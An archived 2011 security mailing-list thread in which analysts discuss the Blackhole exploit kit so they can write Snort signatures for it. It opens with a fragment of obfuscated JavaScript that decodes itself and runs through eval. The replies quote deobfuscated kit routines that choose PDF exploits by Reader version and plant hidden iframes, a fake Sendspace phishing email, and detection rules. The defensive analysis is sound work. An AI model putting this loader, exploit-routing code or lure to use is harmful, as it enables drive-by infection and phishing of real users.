21,86,62,12,53,71,57,51,34,52,49,62,52,89,60,57,10,3,20,48,15,22,21,86,62,12,53,71,57,51,34,86,62,12,52,46,41,60,57,10,35,48,79,68,86,30,0,48,63,71,89,86,46,40,49,52,63,41,18,46,79,52,48,41,52,87,20,52,49,52,63,41,72,57,15,0,48,63,57,76,10,89,86,46,40,49,52,63,41,18,62,86,89,24,18,48,0,0,52,63,89,67,22,9,20,89,72,86,30,0,48,63,76,10,86,30,0,48,63,18,9,63,63,52,79,43,16,1,31,71,3,20,48,15,22,21,86,62,12,10,11,15,52,41,16,9,49,52,86,40,41,72,52,63,89,21,79,52,89,9,79,52,46,41,61,75,4,4,4,76,10,11,15,0,20,4,72,76,10];
s=new String();
z="pM!F0q&'fi;}j|7sTg.Gl_h4yX{1QUSLA\\/v?xN$ut6H%*c^amz<e+WVK\"[J>,bnIkRC
2@=(P:8)Bwr9]-D53oEOd";
i=0;
md="a";
while(i-29920!==0){
 for(b in document.body){
   if (b=='clientLeft')
   s+=z.substr(a[i],1);
   }
i=1+i;
}
for(i in document.body)
 {
  if (i=='clientLeft')
  eval(s);
 }
</script></body></html>0

On Mon, Oct 3, 2011 at 11:49 AM, Nick Randolph <randolphdavidn at gmail.com>wrote:

> It's hitting people from inbound spam and people are clicking the links :(
> Here is a sample message, the filename, filesize and the sentby NAME are
> not static. The Download link sends them off to the main.php site URL
> associated with the blackhole exploit toolkit.
>
> Sendspace File Delivery Notification:
> You've got a file called Ahauge-26799.pdf, (705.9 KB) waiting to be
> downloaded at sendspace.(It was sent by DENAE READ).
> You can use the following link to retrieve your file:
> Download Link
> The file may be available for a limited time only.
> Thank you,sendspace - The best free file sharing service
> .----------------------------------------------------------------------
> Please do not reply to this email. This auto-mailbox is not monitored and
> you will not receive a response.
>
>   On Mon, Oct 3, 2011 at 10:32 AM, Chris Wakelin <
> c.d.wakelin at reading.ac.uk> wrote:
>
>> Hmm, looking at one from last week we have (thanks to my yucky decoder +
>> jsbeautifier.py):-
>>
>> > function spl5() {
>> >     if (pdfver[0] > 0 && pdfver[0] < 8) {
>> >         show_pdf('./content/1fdp.php?f=22')
>> >     } else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
>> >         show_pdf2('./content/2fdp.php?f=22')
>> >     }
>> >     spl6()
>> > }
>>
>> (I've never seen a 1fdp.php download - perhaps it's too old an exploit
>> now!)
>>
>> > function spl6() {
>> >     try {
>> >         for (var i = 0, m; i < navigator.plugins.length; i++) {
>> >             var name = navigator.plugins[i].name;
>> >             if (name.indexOf('Media Player') != -1) {
>> >                 m = document.createElement('IFRAME');
>> >                 m.setAttribute('src', './content/pch2.php?c=22');
>> >                 m.setAttribute('width', 0);
>> >                 m.setAttribute('height', 0);
>> >                 document.body.appendChild(m)
>> >             }
>> >         }
>> >     } catch (e) {}
>> >     setTimeout(spl7, 1000)
>> > }
>>
>> I'm not sure I've ever seen a pch2.php download either (other than by
>> me!), but I guess we could add detection for this?
>>
>> Best Wishes,
>> Chris
>>
>> On 03/10/11 15:13, Nathan wrote:
>> > On Mon, 03 Oct 2011 15:07:59 +0100 Chris Wakelin <
>> c.d.wakelin at reading.ac.uk>
>> > wrote
>> >
>> >> Looking at the actual exploit kit, they're including the Java and PDF
>> >> exploits but not the Flash or HCP exploits (whatever HCP is?) at the
>> moment.
>> >
>> > It's the Help Control Protocol, another pseudo-protocol used by Win32,
>> > 'hcp://'.  There were a few vulnerabilities out for it and it looks like
>> the
>> > exploit kits are leveraging it.  From what I recall I do have one up
>> there for
>> > HCP in less than Media Player 10.0... I believe I wrote 2013077 so it
>> may need
>> > some updating if the URI has changed.
>> >
>> >
>> http://blogs.technet.com/b/srd/archive/2010/06/10/help-and-support-center-vulnerability-full-disclosure-posting.aspx
>> >
>> > emerging-current_events.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET
>> > $HTTP_PORTS (msg:"ET CURRENT_EVENTS Blackhole Exploit Pack HCP overflow
>> Media
>> > Player lt 10"; flow:established,to_server; content:"/hcp_asx.php?f=";
>> > http_uri; pcre:"/hcp_asx\.php\?f=\d+$/U"; classtype:trojan-activity;
>> > sid:2013077; rev:1;)
>> >
>> > emerging-current_events.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET
>> > $HTTP_PORTS (msg:"ET CURRENT_EVENTS Blackhole Exploit Pack HCP exploit";
>> > flow:established,to_server; content:"/pch.php?f="; http_uri;
>> > pcre:"/pch\.php\?f=\d+$/U"; classtype:bad-unknown; sid:2013548; rev:1;)
>> >
>> > emerging-current_events.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET
>> > $HTTP_PORTS (msg:"ET CURRENT_EVENTS Blackhole Exploit Pack HCP exploit
>> 2";
>> > flow:established,to_server; content:"/hcp_vbs.php?f="; http_uri;
>> > pcre:"/hcp_vbs\.php\?f=\d+&d=\d+$/U"; classtype:bad-unknown;
>> sid:2013549;
>> > rev:1;)
>> >
>> > Thanks,
>> > Nathan
>> >
>> >
>>
>>
>> --
>> --+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+-
>> Christopher Wakelin,                           c.d.wakelin at reading.ac.uk
>> IT Services Centre, The University of Reading,  Tel: +44 (0)118 378 2908
>> Whiteknights, Reading, RG6 6AF, UK              Fax: +44 (0)118 975 3094
>>  _______________________________________________
>> Emerging-sigs mailing list
>> Emerging-sigs at emergingthreats.net
>> http://lists.emergingthreats.net/mailman/listinfo/emerging-sigs
>>
>> Support Emerging Threats! Subscribe to Emerging Threats Pro
>> http://www.emergingthreatspro.com
>> The ONLY place to get complete premium rulesets for Snort 2.4.0 through
>> Current!
>>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.emergingthreats.net/pipermail/emerging-sigs/attachments/20111005/41609f3b/attachment-0001.html


More information about the Emerging-sigs mailing list